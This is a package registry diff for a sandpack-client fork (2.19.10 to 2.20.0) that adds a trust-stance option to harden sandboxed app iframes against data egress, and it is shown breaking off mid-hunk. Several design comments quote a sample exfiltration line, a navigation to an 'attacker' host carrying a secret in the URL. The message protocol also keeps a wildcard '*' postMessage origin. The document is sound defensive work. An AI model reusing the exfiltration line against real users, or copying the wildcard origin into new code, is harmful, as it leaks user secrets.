@immediately-run/sandpack-client 2.19.10 → 2.20.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "sandpack-client",
3
- "version": "2.19.10",
4
- "srcHash": "3849536678a710ce43ac28c5f8900e4c49ab01fbdd22e8deb346e67ceaaad3cb",
5
- "builtAt": "2026-06-30T06:23:41.996Z"
3
+ "version": "2.20.0",
4
+ "srcHash": "57b49235f4e6081897281fd4eab0848c2ee977d626606f235444047099739d79",
5
+ "builtAt": "2026-07-13T20:11:14.027Z"
6
6
  }
@@ -15,13 +15,34 @@
15
15
  * The node/nodebox emulator is a different execution model and is intentionally
16
16
  * NOT routed through here.
17
17
  */
18
+ /**
19
+ * The app's resolved trust stance (TRUST_MODES_SPEC §3, R3-194). Only **M3** (a
20
+ * stranger's app — unknown author) changes iframe emission; M0–M2 (kernel /
21
+ * first-party / the user's own / a verified-org's code) keep the exact baseline.
22
+ * Any absent/unknown value is treated as baseline (fail-SAFE: we only ever TIGHTEN
23
+ * on explicit M3, never loosen — R3-195 plan step 1).
24
+ */
25
+ export type FrameStance = "M0" | "M1" | "M2" | "M3";
18
26
  /** Throw if the iframe would run scripts at a same-origin context (G1/T1). */
19
27
  export declare function assertOpaqueOrigin(iframe: HTMLIFrameElement): void;
20
- /** Create an opaque-origin sandboxed iframe for running untrusted app code. */
21
- export declare function createSandboxedIframe(doc?: Document): HTMLIFrameElement;
28
+ /**
29
+ * Create an opaque-origin sandboxed iframe for running untrusted app code. `stance`
30
+ * (R3-195) selects the M3-hardened sandbox/allow attributes for a stranger app;
31
+ * absent/M0–M2 emits the exact baseline.
32
+ *
33
+ * SELF-NAVIGATION RESIDUAL (booked, do NOT claim closed — §G1a / TRUST_MODES §6 /
34
+ * finding C1): an M3 frame can still `location = "https://attacker/?d=<secret>"`
35
+ * as a ONE-SHOT `GET`. That channel is unblockable without `allow-top-navigation`
36
+ * gymnastics that break legitimate in-app routing, is browser-parity, and is
37
+ * host-observable (a navigation tripwire is a post-hoc signal, never prevention).
38
+ * This factory contains BULK/streaming egress (fetch, form-POST, popups, pixels);
39
+ * it does not — and cannot — close the single-shot self-nav floor.
40
+ */
41
+ export declare function createSandboxedIframe(doc?: Document, stance?: FrameStance): HTMLIFrameElement;
22
42
  /**
23
43
  * Ensure a (possibly externally-provided) app iframe is opaque-origin: set the
24
44
  * sandbox/allow attributes if absent, then assert no `allow-same-origin`. Use
25
- * this for the case where a host passes in its own iframe element.
45
+ * this for the case where a host passes in its own iframe element. `stance` selects
46
+ * the M3-hardened attributes when this factory is the one setting them.
26
47
  */
27
- export declare function ensureSandboxed(iframe: HTMLIFrameElement): void;
48
+ export declare function ensureSandboxed(iframe: HTMLIFrameElement, stance?: FrameStance): void;
@@ -1,4 +1,5 @@
1
1
  import type { ClientOptions, SandboxSetup } from "../types";
2
2
  import type { SandpackClient as SandpackClientBase } from "./base";
3
3
  export type { SandpackClient } from "./base";
4
+ export type { FrameStance } from "./iframe-factory";
4
5
  export declare function loadSandpackClient(iframeSelector: string | HTMLIFrameElement, sandboxSetup: SandboxSetup, options?: ClientOptions): Promise<SandpackClientBase>;
@@ -2,9 +2,9 @@
2
2
 
3
3
  var utils = require('../../utils-BiVyytui.js');
4
4
  var nodebox = require('@codesandbox/nodebox');
5
- require('../../types-BIIEoWr6.js');
5
+ require('../../types-mAM6HBIz.js');
6
6
  var base = require('../../base-DelKLlDk.js');
7
- var consoleHook = require('../../consoleHook-znXctRzh.js');
7
+ var consoleHook = require('../../consoleHook-Dva85ENr.js');
8
8
  require('outvariant');
9
9
  require('@zenfs/core');
10
10
  require('dequal');
@@ -1,8 +1,8 @@
1
1
  import { _ as __awaiter, a as __generator, f as nullthrows, c as createError, g as __extends, h as __assign } from '../../utils-DG1HA4RZ.mjs';
2
2
  import { INJECT_MESSAGE_TYPE, Nodebox, PREVIEW_LOADED_MESSAGE_TYPE } from '@codesandbox/nodebox';
3
- import '../../types-BFONOA2L.mjs';
3
+ import '../../types-DR29do3R.mjs';
4
4
  import { S as SandpackClient } from '../../base-DBh7xJX9.mjs';
5
- import { c as consoleHook, g as generateRandomId, E as EventEmitter, a as getMessageFromError, f as findStartScriptPackageJson } from '../../consoleHook-DQVWjDRE.mjs';
5
+ import { c as consoleHook, g as generateRandomId, E as EventEmitter, a as getMessageFromError, f as findStartScriptPackageJson } from '../../consoleHook-vOAHXvaX.mjs';
6
6
  import 'outvariant';
7
7
  import '@zenfs/core';
8
8
  import 'dequal';
@@ -7,7 +7,7 @@ export declare class IFrameProtocol {
7
7
  channelListeners: Record<number, ListenerFunction>;
8
8
  private channelListenersCount;
9
9
  readonly channelId: number;
10
- constructor(iframe: HTMLIFrameElement, origin: string);
10
+ constructor(iframe: HTMLIFrameElement, _origin: string);
11
11
  cleanup(): void;
12
12
  register(port?: MessagePort, config?: Record<string, unknown>, babelPort?: MessagePort): void;
13
13
  dispatch(message: SandpackMessage): void;
@@ -2,9 +2,9 @@
2
2
 
3
3
  var utils = require('../../utils-BiVyytui.js');
4
4
  var dequal = require('dequal');
5
- var types = require('../../types-BIIEoWr6.js');
5
+ var types = require('../../types-mAM6HBIz.js');
6
6
  var base = require('../../base-DelKLlDk.js');
7
- var iframeFactory = require('../../iframe-factory-BcC-S_XQ.js');
7
+ var iframeFactory = require('../../iframe-factory-Bc7tcyQZ.js');
8
8
  var mimeDB = require('mime-db');
9
9
  require('outvariant');
10
10
  require('@zenfs/core');
@@ -67,7 +67,7 @@ var Protocol = /** @class */ (function () {
67
67
  }());
68
68
 
69
69
  var IFrameProtocol = /** @class */ (function () {
70
- function IFrameProtocol(iframe, origin) {
70
+ function IFrameProtocol(iframe, _origin) {
71
71
  // React to messages from any iframe
72
72
  this.globalListeners = {};
73
73
  this.globalListenersCount = 0;
@@ -77,7 +77,7 @@ var IFrameProtocol = /** @class */ (function () {
77
77
  // Random number to identify this instance of the client when messages are coming from multiple iframes
78
78
  this.channelId = Math.floor(Math.random() * 1000000);
79
79
  this.frameWindow = iframe.contentWindow;
80
- this.origin = '*'; //origin;
80
+ this.origin = "*"; //origin;
81
81
  this.globalListeners = [];
82
82
  this.channelListeners = [];
83
83
  this.eventListener = this.eventListener.bind(this);
@@ -101,6 +101,7 @@ var IFrameProtocol = /** @class */ (function () {
101
101
  if (!this.frameWindow) {
102
102
  return;
103
103
  }
104
+ // eslint-disable-next-line no-console -- dev registration trace
104
105
  console.log("[IFrameProtocol] Registering iframe with channelId", this.channelId, this);
105
106
  // Order matters: the bundler reads ports[0] as the fs port and ports[1] as
106
107
  // the Babel worker port. `filter` keeps that order as long as the fs port
@@ -324,7 +325,7 @@ function handleImmutableFetch(url, integrity) {
324
325
  return [2 /*return*/, serializeResponse(hit)];
325
326
  }
326
327
  // Stale/poisoned entry: drop it and fall through to a fresh fetch.
327
- return [4 /*yield*/, cache.delete(url).catch(function () { })];
328
+ return [4 /*yield*/, cache.delete(url).catch(function () { return undefined; })];
328
329
  case 5:
329
330
  // Stale/poisoned entry: drop it and fall through to a fresh fetch.
330
331
  _b.sent();
@@ -348,8 +349,11 @@ function handleImmutableFetch(url, integrity) {
348
349
  if (!_a) return [3 /*break*/, 12];
349
350
  // Only persist verified bytes. A failed put (quota) only costs the entry.
350
351
  return [4 /*yield*/, cache
351
- .put(url, new Response(result.body.slice(0), { status: result.status, headers: { "content-type": result.contentType } }))
352
- .catch(function () { })];
352
+ .put(url, new Response(result.body.slice(0), {
353
+ status: result.status,
354
+ headers: { "content-type": result.contentType },
355
+ }))
356
+ .catch(function () { return undefined; })];
353
357
  case 11:
354
358
  // Only persist verified bytes. A failed put (quota) only costs the entry.
355
359
  _b.sent();
@@ -526,7 +530,7 @@ function getExtension(filepath) {
526
530
 
527
531
  var _a;
528
532
  var SUFFIX_PLACEHOLDER = "-{{suffix}}";
529
- var BUNDLER_URL = "https://".concat((_a = "2.19.10") === null || _a === void 0 ? void 0 : _a.replace(/\./g, "-")).concat(SUFFIX_PLACEHOLDER, "-sandpack.codesandbox.io/");
533
+ var BUNDLER_URL = "https://".concat((_a = "2.20.0") === null || _a === void 0 ? void 0 : _a.replace(/\./g, "-")).concat(SUFFIX_PLACEHOLDER, "-sandpack.codesandbox.io/");
530
534
  var SandpackRuntime = /** @class */ (function (_super) {
531
535
  utils.__extends(SandpackRuntime, _super);
532
536
  function SandpackRuntime(selector, sandboxSetup, options) {
@@ -572,7 +576,7 @@ var SandpackRuntime = /** @class */ (function (_super) {
572
576
  // touch shared storage on the bundler origin. The Babel worker that used
573
577
  // to require same-origin is now owned by the parent and reached over a
574
578
  // transferred `MessagePort` (see `createBabelWorkerPort`).
575
- _this.iframe = iframeFactory.createSandboxedIframe();
579
+ _this.iframe = iframeFactory.createSandboxedIframe(document, _this.options.stance);
576
580
  _this.initializeElement();
577
581
  }
578
582
  else {
@@ -581,7 +585,7 @@ var SandpackRuntime = /** @class */ (function (_super) {
581
585
  }
582
586
  // Set-and-assert: a host-provided iframe is hardened here, and any iframe
583
587
  // (created or passed) is verified to carry no `allow-same-origin`.
584
- iframeFactory.ensureSandboxed(_this.iframe);
588
+ iframeFactory.ensureSandboxed(_this.iframe, _this.options.stance);
585
589
  _this.setLocationURLIntoIFrame();
586
590
  _this.iframeProtocol = new IFrameProtocol(_this.iframe, _this.bundlerURL);
587
591
  _this.unsubscribeGlobalListener = _this.iframeProtocol.globalListen(function (mes) {
@@ -1,8 +1,8 @@
1
1
  import { _ as __awaiter, a as __generator, h as __assign, i as __rest, j as __spreadArray, g as __extends, f as nullthrows, e as extractErrorDetails, c as createError, d as createPackageJSON } from '../../utils-DG1HA4RZ.mjs';
2
2
  import { dequal } from 'dequal';
3
- import { a as SandpackLogLevel } from '../../types-BFONOA2L.mjs';
3
+ import { a as SandpackLogLevel } from '../../types-DR29do3R.mjs';
4
4
  import { S as SandpackClient } from '../../base-DBh7xJX9.mjs';
5
- import { c as createSandboxedIframe, e as ensureSandboxed } from '../../iframe-factory-DybmkzJZ.mjs';
5
+ import { c as createSandboxedIframe, e as ensureSandboxed } from '../../iframe-factory-C8M0b9uf.mjs';
6
6
  import mimeDB from 'mime-db';
7
7
  import 'outvariant';
8
8
  import '@zenfs/core';
@@ -65,7 +65,7 @@ var Protocol = /** @class */ (function () {
65
65
  }());
66
66
 
67
67
  var IFrameProtocol = /** @class */ (function () {
68
- function IFrameProtocol(iframe, origin) {
68
+ function IFrameProtocol(iframe, _origin) {
69
69
  // React to messages from any iframe
70
70
  this.globalListeners = {};
71
71
  this.globalListenersCount = 0;
@@ -75,7 +75,7 @@ var IFrameProtocol = /** @class */ (function () {
75
75
  // Random number to identify this instance of the client when messages are coming from multiple iframes
76
76
  this.channelId = Math.floor(Math.random() * 1000000);
77
77
  this.frameWindow = iframe.contentWindow;
78
- this.origin = '*'; //origin;
78
+ this.origin = "*"; //origin;
79
79
  this.globalListeners = [];
80
80
  this.channelListeners = [];
81
81
  this.eventListener = this.eventListener.bind(this);
@@ -99,6 +99,7 @@ var IFrameProtocol = /** @class */ (function () {
99
99
  if (!this.frameWindow) {
100
100
  return;
101
101
  }
102
+ // eslint-disable-next-line no-console -- dev registration trace
102
103
  console.log("[IFrameProtocol] Registering iframe with channelId", this.channelId, this);
103
104
  // Order matters: the bundler reads ports[0] as the fs port and ports[1] as
104
105
  // the Babel worker port. `filter` keeps that order as long as the fs port
@@ -322,7 +323,7 @@ function handleImmutableFetch(url, integrity) {
322
323
  return [2 /*return*/, serializeResponse(hit)];
323
324
  }
324
325
  // Stale/poisoned entry: drop it and fall through to a fresh fetch.
325
- return [4 /*yield*/, cache.delete(url).catch(function () { })];
326
+ return [4 /*yield*/, cache.delete(url).catch(function () { return undefined; })];
326
327
  case 5:
327
328
  // Stale/poisoned entry: drop it and fall through to a fresh fetch.
328
329
  _b.sent();
@@ -346,8 +347,11 @@ function handleImmutableFetch(url, integrity) {
346
347
  if (!_a) return [3 /*break*/, 12];
347
348
  // Only persist verified bytes. A failed put (quota) only costs the entry.
348
349
  return [4 /*yield*/, cache
349
- .put(url, new Response(result.body.slice(0), { status: result.status, headers: { "content-type": result.contentType } }))
350
- .catch(function () { })];
350
+ .put(url, new Response(result.body.slice(0), {
351
+ status: result.status,
352
+ headers: { "content-type": result.contentType },
353
+ }))
354
+ .catch(function () { return undefined; })];
351
355
  case 11:
352
356
  // Only persist verified bytes. A failed put (quota) only costs the entry.
353
357
  _b.sent();
@@ -524,7 +528,7 @@ function getExtension(filepath) {
524
528
 
525
529
  var _a;
526
530
  var SUFFIX_PLACEHOLDER = "-{{suffix}}";
527
- var BUNDLER_URL = "https://".concat((_a = "2.19.10") === null || _a === void 0 ? void 0 : _a.replace(/\./g, "-")).concat(SUFFIX_PLACEHOLDER, "-sandpack.codesandbox.io/");
531
+ var BUNDLER_URL = "https://".concat((_a = "2.20.0") === null || _a === void 0 ? void 0 : _a.replace(/\./g, "-")).concat(SUFFIX_PLACEHOLDER, "-sandpack.codesandbox.io/");
528
532
  var SandpackRuntime = /** @class */ (function (_super) {
529
533
  __extends(SandpackRuntime, _super);
530
534
  function SandpackRuntime(selector, sandboxSetup, options) {
@@ -570,7 +574,7 @@ var SandpackRuntime = /** @class */ (function (_super) {
570
574
  // touch shared storage on the bundler origin. The Babel worker that used
571
575
  // to require same-origin is now owned by the parent and reached over a
572
576
  // transferred `MessagePort` (see `createBabelWorkerPort`).
573
- _this.iframe = createSandboxedIframe();
577
+ _this.iframe = createSandboxedIframe(document, _this.options.stance);
574
578
  _this.initializeElement();
575
579
  }
576
580
  else {
@@ -579,7 +583,7 @@ var SandpackRuntime = /** @class */ (function (_super) {
579
583
  }
580
584
  // Set-and-assert: a host-provided iframe is hardened here, and any iframe
581
585
  // (created or passed) is verified to carry no `allow-same-origin`.
582
- ensureSandboxed(_this.iframe);
586
+ ensureSandboxed(_this.iframe, _this.options.stance);
583
587
  _this.setLocationURLIntoIFrame();
584
588
  _this.iframeProtocol = new IFrameProtocol(_this.iframe, _this.bundlerURL);
585
589
  _this.unsubscribeGlobalListener = _this.iframeProtocol.globalListen(function (mes) {
@@ -2,7 +2,7 @@
2
2
 
3
3
  var outvariant = require('outvariant');
4
4
  var utils = require('./utils-BiVyytui.js');
5
- require('./types-BIIEoWr6.js');
5
+ require('./types-mAM6HBIz.js');
6
6
 
7
7
  var EventEmitter = /** @class */ (function () {
8
8
  function EventEmitter() {
@@ -1,6 +1,6 @@
1
1
  import { invariant } from 'outvariant';
2
2
  import { c as createError } from './utils-DG1HA4RZ.mjs';
3
- import './types-BFONOA2L.mjs';
3
+ import './types-DR29do3R.mjs';
4
4
 
5
5
  var EventEmitter = /** @class */ (function () {
6
6
  function EventEmitter() {
@@ -1,4 +1,4 @@
1
- import { BoundContext } from "@zenfs/core";
1
+ import { type BoundContext } from "@zenfs/core";
2
2
  /**
3
3
  * Per-file UI metadata. The file *content* lives in the filesystem as bytes;
4
4
  * everything else (visibility, editability, initial focus) is kept in a sidecar
@@ -45,6 +45,20 @@ export type SandpackFilesInput = Record<string, FileMeta & {
45
45
  * All reads / writes are async. Changes emit a single coalesced notification
46
46
  * (watcher or explicit helper calls) so React can subscribe via
47
47
  * `useSyncExternalStore`.
48
+ *
49
+ * ## Writer invariant (why every mutation must funnel through here)
50
+ *
51
+ * The ZenFS `Port` backend does **not** forward watch events across the iframe
52
+ * boundary, so **every** independent mutator of the shared store MUST route through
53
+ * {@link SandpackFS.writeFile} (local edits → `external: false`) or
54
+ * {@link SandpackFS.handleRemoteChange} (iframe edits relayed by the host's
55
+ * `exportZenFS` → `external: true`). A write that reaches this instance's
56
+ * bound-context fs by any other path emits no `onChange`, so the editor view and
57
+ * the bundler relay silently miss it. This is the conflict-model writer invariant
58
+ * spec'd in **`EDITOR_AS_APP_SPEC.md` → Decisions & rejected alternatives D-EDIT-1**
59
+ * ("Conflict-model note (writer invariant)") and **`LOCAL_DEVELOPMENT_SPEC.md` §6.5**.
60
+ * In dev, {@link installOutOfBandGuard} turns that convention into a loud
61
+ * assertion (roadmap R3-110); in production the guard is compiled out.
48
62
  */
49
63
  export declare class SandpackFS {
50
64
  readonly fsContext: BoundContext;
@@ -55,6 +69,9 @@ export declare class SandpackFS {
55
69
  private sidecarEnvironment;
56
70
  private sidecarMode;
57
71
  private disposed;
72
+ private readonly rawWriteFile;
73
+ private readonly rawUnlink;
74
+ private readonly rawMkdir;
58
75
  private constructor();
59
76
  /**
60
77
  * Create the `MessagePort` shared with the child iframe, wiring the iframe's
@@ -0,0 +1,89 @@
1
+ 'use strict';
2
+
3
+ /**
4
+ * The single chokepoint for creating **app iframes** (UI_AS_APPS_SPEC §2 / G1 /
5
+ * threat T1).
6
+ *
7
+ * App iframes MUST be opaque-origin: `sandbox="allow-scripts …"` WITHOUT
8
+ * `allow-same-origin`. With `allow-same-origin` alongside `allow-scripts` an app
9
+ * could remove its own sandboxing and reach the parent — the whole capability
10
+ * model collapses. This is the one invariant with no defense-in-depth, so
11
+ * creation is centralized here and the resolved attribute is asserted. Raw
12
+ * `document.createElement('iframe')` for app content elsewhere is forbidden (a
13
+ * greppable CI check), so the verifiable invariant is "every app iframe is born
14
+ * in this factory."
15
+ *
16
+ * Scope: the opaque-origin app iframes (the runtime + static preview clients).
17
+ * The node/nodebox emulator is a different execution model and is intentionally
18
+ * NOT routed through here.
19
+ */
20
+ // Baseline app sandbox (M0–M2): the full set a trusted-author app needs
21
+ // (value 3). `allow-same-origin` is ABSENT and stays absent (G1/T1).
22
+ var APP_SANDBOX_BASELINE = "allow-forms allow-modals allow-popups allow-presentation allow-scripts allow-downloads allow-pointer-lock";
23
+ // M3 (stranger app) sandbox — the §G1a tightening: baseline MINUS `allow-forms`
24
+ // (native form-POST exfil), `allow-popups`/`allow-modals`/`allow-presentation`
25
+ // (`window.open(url)` + popup/presentation-URL exfil). KEEP `allow-scripts` (the
26
+ // app must still run), `allow-downloads`, `allow-pointer-lock`. This is a STRICT
27
+ // SUBSET of the baseline — never adds a flag (the §G1a subset invariant). The
28
+ // remaining bulk-egress channels (fetch/XHR/WebSocket/beacon, pixels) are shut by
29
+ // the per-frame M3 CSP delivered with the frame's document (R3-195 sandbox repo),
30
+ // not by a sandbox flag. `allow-same-origin` remains absent.
31
+ var APP_SANDBOX_M3 = "allow-scripts allow-downloads allow-pointer-lock";
32
+ // Baseline delegated features (the `allow` / Permissions-Policy attribute).
33
+ var APP_ALLOW_BASELINE = "accelerometer; camera; encrypted-media; geolocation; gyroscope; hid; microphone; midi; clipboard-read; clipboard-write; xr-spatial-tracking;";
34
+ // M3 delegates NOTHING — camera/microphone/geolocation and every other egress- or
35
+ // sensor-capable feature is withheld (an empty allowlist ≡ disabled), which also
36
+ // denies the WebRTC/getUserMedia surfaces. A strict subset of the baseline.
37
+ var APP_ALLOW_M3 = "";
38
+ var sandboxAttrFor = function (stance) {
39
+ return stance === "M3" ? APP_SANDBOX_M3 : APP_SANDBOX_BASELINE;
40
+ };
41
+ var allowAttrFor = function (stance) {
42
+ return stance === "M3" ? APP_ALLOW_M3 : APP_ALLOW_BASELINE;
43
+ };
44
+ /** Throw if the iframe would run scripts at a same-origin context (G1/T1). */
45
+ function assertOpaqueOrigin(iframe) {
46
+ var _a;
47
+ var sandbox = (_a = iframe.getAttribute("sandbox")) !== null && _a !== void 0 ? _a : "";
48
+ if (/(^|\s)allow-same-origin(\s|$)/.test(sandbox)) {
49
+ throw new Error("Refusing an app iframe with allow-same-origin alongside allow-scripts: " +
50
+ "the sandbox would be void (UI_AS_APPS_SPEC G1/T1).");
51
+ }
52
+ }
53
+ /**
54
+ * Create an opaque-origin sandboxed iframe for running untrusted app code. `stance`
55
+ * (R3-195) selects the M3-hardened sandbox/allow attributes for a stranger app;
56
+ * absent/M0–M2 emits the exact baseline.
57
+ *
58
+ * SELF-NAVIGATION RESIDUAL (booked, do NOT claim closed — §G1a / TRUST_MODES §6 /
59
+ * finding C1): an M3 frame can still `location = "https://attacker/?d=<secret>"`
60
+ * as a ONE-SHOT `GET`. That channel is unblockable without `allow-top-navigation`
61
+ * gymnastics that break legitimate in-app routing, is browser-parity, and is
62
+ * host-observable (a navigation tripwire is a post-hoc signal, never prevention).
63
+ * This factory contains BULK/streaming egress (fetch, form-POST, popups, pixels);
64
+ * it does not — and cannot — close the single-shot self-nav floor.
65
+ */
66
+ function createSandboxedIframe(doc, stance) {
67
+ if (doc === void 0) { doc = document; }
68
+ var iframe = doc.createElement("iframe");
69
+ iframe.setAttribute("sandbox", sandboxAttrFor(stance));
70
+ iframe.setAttribute("allow", allowAttrFor(stance));
71
+ assertOpaqueOrigin(iframe);
72
+ return iframe;
73
+ }
74
+ /**
75
+ * Ensure a (possibly externally-provided) app iframe is opaque-origin: set the
76
+ * sandbox/allow attributes if absent, then assert no `allow-same-origin`. Use
77
+ * this for the case where a host passes in its own iframe element. `stance` selects
78
+ * the M3-hardened attributes when this factory is the one setting them.
79
+ */
80
+ function ensureSandboxed(iframe, stance) {
81
+ if (!iframe.getAttribute("sandbox")) {
82
+ iframe.setAttribute("sandbox", sandboxAttrFor(stance));
83
+ iframe.setAttribute("allow", allowAttrFor(stance));
84
+ }
85
+ assertOpaqueOrigin(iframe);
86
+ }
87
+
88
+ exports.createSandboxedIframe = createSandboxedIframe;
89
+ exports.ensureSandboxed = ensureSandboxed;
@@ -0,0 +1,86 @@
1
+ /**
2
+ * The single chokepoint for creating **app iframes** (UI_AS_APPS_SPEC §2 / G1 /
3
+ * threat T1).
4
+ *
5
+ * App iframes MUST be opaque-origin: `sandbox="allow-scripts …"` WITHOUT
6
+ * `allow-same-origin`. With `allow-same-origin` alongside `allow-scripts` an app
7
+ * could remove its own sandboxing and reach the parent — the whole capability
8
+ * model collapses. This is the one invariant with no defense-in-depth, so
9
+ * creation is centralized here and the resolved attribute is asserted. Raw
10
+ * `document.createElement('iframe')` for app content elsewhere is forbidden (a
11
+ * greppable CI check), so the verifiable invariant is "every app iframe is born
12
+ * in this factory."
13
+ *
14
+ * Scope: the opaque-origin app iframes (the runtime + static preview clients).
15
+ * The node/nodebox emulator is a different execution model and is intentionally
16
+ * NOT routed through here.
17
+ */
18
+ // Baseline app sandbox (M0–M2): the full set a trusted-author app needs
19
+ // (value 3). `allow-same-origin` is ABSENT and stays absent (G1/T1).
20
+ var APP_SANDBOX_BASELINE = "allow-forms allow-modals allow-popups allow-presentation allow-scripts allow-downloads allow-pointer-lock";
21
+ // M3 (stranger app) sandbox — the §G1a tightening: baseline MINUS `allow-forms`
22
+ // (native form-POST exfil), `allow-popups`/`allow-modals`/`allow-presentation`
23
+ // (`window.open(url)` + popup/presentation-URL exfil). KEEP `allow-scripts` (the
24
+ // app must still run), `allow-downloads`, `allow-pointer-lock`. This is a STRICT
25
+ // SUBSET of the baseline — never adds a flag (the §G1a subset invariant). The
26
+ // remaining bulk-egress channels (fetch/XHR/WebSocket/beacon, pixels) are shut by
27
+ // the per-frame M3 CSP delivered with the frame's document (R3-195 sandbox repo),
28
+ // not by a sandbox flag. `allow-same-origin` remains absent.
29
+ var APP_SANDBOX_M3 = "allow-scripts allow-downloads allow-pointer-lock";
30
+ // Baseline delegated features (the `allow` / Permissions-Policy attribute).
31
+ var APP_ALLOW_BASELINE = "accelerometer; camera; encrypted-media; geolocation; gyroscope; hid; microphone; midi; clipboard-read; clipboard-write; xr-spatial-tracking;";
32
+ // M3 delegates NOTHING — camera/microphone/geolocation and every other egress- or
33
+ // sensor-capable feature is withheld (an empty allowlist ≡ disabled), which also
34
+ // denies the WebRTC/getUserMedia surfaces. A strict subset of the baseline.
35
+ var APP_ALLOW_M3 = "";
36
+ var sandboxAttrFor = function (stance) {
37
+ return stance === "M3" ? APP_SANDBOX_M3 : APP_SANDBOX_BASELINE;
38
+ };
39
+ var allowAttrFor = function (stance) {
40
+ return stance === "M3" ? APP_ALLOW_M3 : APP_ALLOW_BASELINE;
41
+ };
42
+ /** Throw if the iframe would run scripts at a same-origin context (G1/T1). */
43
+ function assertOpaqueOrigin(iframe) {
44
+ var _a;
45
+ var sandbox = (_a = iframe.getAttribute("sandbox")) !== null && _a !== void 0 ? _a : "";
46
+ if (/(^|\s)allow-same-origin(\s|$)/.test(sandbox)) {
47
+ throw new Error("Refusing an app iframe with allow-same-origin alongside allow-scripts: " +
48
+ "the sandbox would be void (UI_AS_APPS_SPEC G1/T1).");
49
+ }
50
+ }
51
+ /**
52
+ * Create an opaque-origin sandboxed iframe for running untrusted app code. `stance`
53
+ * (R3-195) selects the M3-hardened sandbox/allow attributes for a stranger app;
54
+ * absent/M0–M2 emits the exact baseline.
55
+ *
56
+ * SELF-NAVIGATION RESIDUAL (booked, do NOT claim closed — §G1a / TRUST_MODES §6 /
57
+ * finding C1): an M3 frame can still `location = "https://attacker/?d=<secret>"`
58
+ * as a ONE-SHOT `GET`. That channel is unblockable without `allow-top-navigation`
59
+ * gymnastics that break legitimate in-app routing, is browser-parity, and is
60
+ * host-observable (a navigation tripwire is a post-hoc signal, never prevention).
61
+ * This factory contains BULK/streaming egress (fetch, form-POST, popups, pixels);
62
+ * it does not — and cannot — close the single-shot self-nav floor.
63
+ */
64
+ function createSandboxedIframe(doc, stance) {
65
+ if (doc === void 0) { doc = document; }
66
+ var iframe = doc.createElement("iframe");
67
+ iframe.setAttribute("sandbox", sandboxAttrFor(stance));
68
+ iframe.setAttribute("allow", allowAttrFor(stance));
69
+ assertOpaqueOrigin(iframe);
70
+ return iframe;
71
+ }
72
+ /**
73
+ * Ensure a (possibly externally-provided) app iframe is opaque-origin: set the
74
+ * sandbox/allow attributes if absent, then assert no `allow-same-origin`. Use
75
+ * this for the case where a host passes in its own iframe element. `stance` selects
76
+ * the M3-hardened attributes when this factory is the one setting them.
77
+ */
78
+ function ensureSandboxed(iframe, stance) {
79
+ if (!iframe.getAttribute("sandbox")) {
80
+ iframe.setAttribute("sandbox", sandboxAttrFor(stance));
81
+ iframe.setAttribute("allow", allowAttrFor(stance));
82
+ }
83
+ assertOpaqueOrigin(iframe);
84
+ }
85
+
86
+ export { createSandboxedIframe as c, ensureSandboxed as e };
@@ -1,10 +1,10 @@
1
1
  import { g as __extends, h as __assign, _ as __awaiter, a as __generator } from './utils-DG1HA4RZ.mjs';
2
2
  import { PreviewController } from 'static-browser-server';
3
- import { E as EventEmitter, g as generateRandomId, c as consoleHook } from './consoleHook-DQVWjDRE.mjs';
3
+ import { E as EventEmitter, g as generateRandomId, c as consoleHook } from './consoleHook-vOAHXvaX.mjs';
4
4
  import { S as SandpackClient } from './base-DBh7xJX9.mjs';
5
- import { c as createSandboxedIframe, e as ensureSandboxed } from './iframe-factory-DybmkzJZ.mjs';
5
+ import { c as createSandboxedIframe, e as ensureSandboxed } from './iframe-factory-C8M0b9uf.mjs';
6
6
  import 'outvariant';
7
- import './types-BFONOA2L.mjs';
7
+ import './types-DR29do3R.mjs';
8
8
  import '@zenfs/core';
9
9
  import 'dequal';
10
10
 
@@ -75,14 +75,14 @@ var SandpackStatic = /** @class */ (function (_super) {
75
75
  _this.element = element;
76
76
  // Opaque-origin app iframe via the single factory (G1/T1) — untrusted
77
77
  // preview content runs at an opaque origin (see the runtime client).
78
- _this.iframe = createSandboxedIframe();
78
+ _this.iframe = createSandboxedIframe(document, _this.options.stance);
79
79
  }
80
80
  else {
81
81
  _this.element = selector;
82
82
  _this.iframe = selector;
83
83
  }
84
84
  // Set-and-assert: harden a host-provided iframe; verify no allow-same-origin.
85
- ensureSandboxed(_this.iframe);
85
+ ensureSandboxed(_this.iframe, _this.options.stance);
86
86
  _this.eventListener = _this.eventListener.bind(_this);
87
87
  if (typeof window !== "undefined") {
88
88
  window.addEventListener("message", _this.eventListener);
@@ -2,11 +2,11 @@
2
2
 
3
3
  var utils = require('./utils-BiVyytui.js');
4
4
  var staticBrowserServer = require('static-browser-server');
5
- var consoleHook = require('./consoleHook-znXctRzh.js');
5
+ var consoleHook = require('./consoleHook-Dva85ENr.js');
6
6
  var base = require('./base-DelKLlDk.js');
7
- var iframeFactory = require('./iframe-factory-BcC-S_XQ.js');
7
+ var iframeFactory = require('./iframe-factory-Bc7tcyQZ.js');
8
8
  require('outvariant');
9
- require('./types-BIIEoWr6.js');
9
+ require('./types-mAM6HBIz.js');
10
10
  require('@zenfs/core');
11
11
  require('dequal');
12
12
 
@@ -77,14 +77,14 @@ var SandpackStatic = /** @class */ (function (_super) {
77
77
  _this.element = element;
78
78
  // Opaque-origin app iframe via the single factory (G1/T1) — untrusted
79
79
  // preview content runs at an opaque origin (see the runtime client).
80
- _this.iframe = iframeFactory.createSandboxedIframe();
80
+ _this.iframe = iframeFactory.createSandboxedIframe(document, _this.options.stance);
81
81
  }
82
82
  else {
83
83
  _this.element = selector;
84
84
  _this.iframe = selector;
85
85
  }
86
86
  // Set-and-assert: harden a host-provided iframe; verify no allow-same-origin.
87
- iframeFactory.ensureSandboxed(_this.iframe);
87
+ iframeFactory.ensureSandboxed(_this.iframe, _this.options.stance);
88
88
  _this.eventListener = _this.eventListener.bind(_this);
89
89
  if (typeof window !== "undefined") {
90
90
  window.addEventListener("message", _this.eventListener);
package/dist/index.js CHANGED
@@ -1,7 +1,7 @@
1
1
  'use strict';
2
2
 
3
3
  var utils = require('./utils-BiVyytui.js');
4
- var types = require('./types-BIIEoWr6.js');
4
+ var types = require('./types-mAM6HBIz.js');
5
5
  require('outvariant');
6
6
  require('@zenfs/core');
7
7
 
@@ -24,7 +24,7 @@ function loadSandpackClient(iframeSelector_1, sandboxSetup_1) {
24
24
  case 2:
25
25
  Client = _c.sent();
26
26
  return [3 /*break*/, 7];
27
